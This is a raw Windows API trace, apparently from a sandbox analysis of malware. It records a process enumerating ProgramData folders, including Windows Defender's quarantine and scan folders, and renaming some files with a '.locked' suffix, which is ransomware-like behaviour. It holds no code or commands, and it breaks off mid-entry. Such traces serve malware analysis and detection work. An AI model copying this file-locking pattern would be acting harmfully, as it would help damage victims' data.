[0133.204] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2609e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2609e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.206] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2609e00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2609e00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.208] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xf262ff60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf262ff60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.210] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xf262ff60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf262ff60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.429] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin.locked" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\cachemanager\\mpsfc.bin.locked"), dwFlags=0x2) returned 1 [0133.432] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf28452a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28452a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.434] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xf28452a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28452a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0133.435] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xf28452a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28452a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.437] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf28452a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28452a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.438] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf28452a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28452a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.440] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf28452a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28452a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.443] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.445] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.446] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.448] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.450] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.451] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.453] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\SentItems\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.454] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.456] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf286b400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf286b400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.458] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2891560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2891560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.459] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf2891560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2891560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.460] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80db30, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.466] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xf2891560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2891560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0133.469] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Mozilla\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf2891560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2891560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.471] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf2891560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2891560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0133.473] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log"), lpNewFileName="C:\\\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log.locked" (normalized: "c:\\programdata\\mozilla\\logs\\maintenanceservice-install.log.locked"), dwFlags=0x2) returned 1 [0133.475] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Oracle\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf28b76c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28b76c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0133.479] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf28b76c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28b76c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0133.481] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf28b76c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28b76c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.482] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf28b76c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28b76c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.484] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf28b76c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28b76c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.485] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf28b76c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28b76c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.488] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf28b76c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28b76c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.489] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.491] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.492] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0133.494] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.496] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.499] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.501] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.503] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf28dd820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf28dd820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.505] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2903980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2903980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.508] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package 